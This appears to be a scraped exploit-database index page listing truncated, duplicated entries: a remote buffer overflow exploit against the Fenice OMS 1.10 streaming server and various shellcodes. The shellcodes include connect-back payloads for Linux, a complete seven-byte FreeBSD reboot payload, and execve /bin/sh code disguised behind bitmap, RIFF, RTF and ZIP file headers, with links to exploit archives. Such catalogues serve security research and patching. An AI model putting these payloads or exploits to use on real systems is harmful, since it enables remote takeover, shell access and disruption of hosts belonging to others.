Fenice OMS 1.10 (long get request) Remote Buffer Overflow Exploit

No description provided by source. / IHS Iran Homeland Security public source code Fenice - Open Media Streaming Server remote BOF exploit author : c0d3r "kaveh razavi" [email protected] package : fenice-1.10.tar.gz and prolly prior versions workaround : update after patch release advisory :...

Fenice Oms 1.10 - GET Remote Buffer Overflow

/ IHS Iran Homeland Security public source code Fenice - Open Media Streaming Server remote BOF exploit author : c0d3r "kaveh razavi" [email protected] package : fenice-1.10.tar.gz and prolly prior versions workaround : update after patch release advisory : https://www.securityfocus.com/bid/17678...

linux/amd64 - connect-back semi-stealth shellcode 88+ bytes

linux/amd64 connect-back semi-stealth shellcode 88+ bytes. Shellcode exploit for linamd64 platform include include include include include include include / usual rant here.. this is just a doodle.. i was curious about the amd64 and since i dont think a simple exec /bin/sh is worth releasing i gi...

linux/amd64 connect-back semi-stealth shellcode 88+ bytes

Exploit for linux/amd64 platform in category shellcode ========================================================= linux/amd64 connect-back semi-stealth shellcode 88+ bytes ========================================================= include include include include include include include / usual rant...

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

Exploit for freebsd/x86 platform in category shellcode ================================================= freebsd/x86 rebootRBAUTOBOOT Shellcode 7 bytes ================================================= / FreeBSDx86-reboot-7b.c Shellcode, rebootRBAUTOBOOT, 7 bytes by IZ / char shellcode = "\x31\xc...

freebsd/x86 reboot(RB_AUTOBOOT) Shellcode 7 bytes

No description provided by source. / FreeBSDx86-reboot-7b.c Shellcode, rebootRBAUTOBOOT, 7 bytes by IZ guerrilla.sytes.net / char shellcode = "\x31\xc0" / xor %eax,%eax / "\x50" / push %eax / "\xb0\x37" / mov $0x37,%al / "\xcd\x80"; / int $0x80 / void main int ret; ret = int &ret + 2; printf"len...

freebsd/x86 - rebootRB_AUTOBOOT Shellcode 7 bytes

freebsd/x86 rebootRBAUTOBOOT Shellcode 7 bytes. Shellcode exploit for freebsdx86 platform / FreeBSDx86-reboot-7b.c Shellcode, rebootRBAUTOBOOT, 7 bytes by IZ / char shellcode = "\x31\xc0" / xor %eax,%eax / "\x50" / push %eax / "\xb0\x37" / mov $0x37,%al / "\xcd\x80"; / int $0x80 / void main int...

linux/x86 xor-encoded Connect Back Shellcode 371 bytes

No description provided by source. linux/x86 xor-encoded Connect Back Shellcode 371 bytes http://www.milw0rm.com/sploits/black-RXenc-con-back.tar.gz milw0rm.com 2006-04-18...

linux/x86 - xor-encoded Connect Back Shellcode 371 bytes

linux/x86 xor-encoded Connect Back Shellcode 371 bytes. Shellcode exploit for linx86 platform linux/x86 xor-encoded Connect Back Shellcode 371 bytes https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/13366.tar.gz black-RXenc-con-back.tar.gz milw0rm.com 2006-04-1...

linux/x86 xor-encoded Connect Back Shellcode 371 bytes

Exploit for linux/x86 platform in category shellcode ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes ====================================================== linux/x86 xor-encoded Connect Back Shellcode 371 bytes...

linux/x86 execve(/bin/sh) + Bitmap Header 27 bytes

Exploit for linux/x86 platform in category shellcode ================================================== linux/x86 execve/bin/sh + Bitmap Header 27 bytes ================================================== / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + Bitmap 24bit Header - 27 bytes...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

Exploit for linux/x86 platform in category shellcode ================================================ linux/x86 execve/bin/sh + RIFF Header 28 bytes ================================================ / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes email protected: file...

linux/x86 execve(/bin/sh) + RIFF Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik [email protected] / char shellcode = // // RIFF Header 5 bytes // "\x52" // push %edx "\x49" // dec...

linux/x86 execve(/bin/sh) + Bitmap Header 27 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + Bitmap 24bit Header - 27 bytes root@magicbox: file linux-sh-bm24bhdr.bin linux-sh-bm24bhdr.bin: PC bitmap data - izik [email protected] / char shellcode = // // Bitmap 24bit Header 4 bytes // "\x42" // inc %edx "\x4d...

linux/x86 execve(/bin/sh) + RTF Header 30 bytes

Exploit for linux/x86 platform in category shellcode =============================================== linux/x86 execve/bin/sh + RTF Header 30 bytes =============================================== / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RTF header - 30 bytes email protected: file...

linux/x86 - execve/bin/sh + RIFF Header 28 bytes

linux/x86 execve/bin/sh + RIFF Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + RIFF Header - 28 bytes root@magicbox: file linux-sh-riffhdr.bin linux-sh-riffhdr.bin: RIFF little-endian data - izik / char shellcode = // // RIFF Header 5 bytes ...

linux/x86 - execve/bin/sh + ZIP Header 28 bytes

linux/x86 execve/bin/sh + ZIP Header 28 bytes. Shellcode exploit for linx86 platform / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik / char shellcode = // // ZIP Header 5 bytes // "\x50" //...

linux/x86 execve(/bin/sh) + ZIP Header 28 bytes

No description provided by source. / linux/x86 - execve"/bin/sh", "/bin/sh", NULL + ZIP Header - 28 bytes root@magicbox: file linux-sh-ziphdr.bin linux-sh-ziphdr.bin: Zip archive data - izik [email protected] / char shellcode = // // ZIP Header 5 bytes // "\x50" // push %eax "\x4b" // dec %ebx...

linux/x86 - SWAP restore shellcode 109 bytes

linux/x86 SWAP restore shellcode 109 bytes. Shellcode exploit for linx86 platform / linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86 Copyright c 2006 Gotfault Security & rfdslabs Authors: dx spud This shellcode reads the swap device at offset 31337. After it searchs by NU...

linux/x86 SWAP restore shellcode 109 bytes

No description provided by source. / linux-x86-swap-restore.c - SWAP restore shellcode 109 bytes for Linux/x86 Copyright c 2006 Gotfault Security & rfdslabs Authors: dx [email protected] spud [email protected] This shellcode reads the swap device at offset 31337. After it searchs by NULL byt...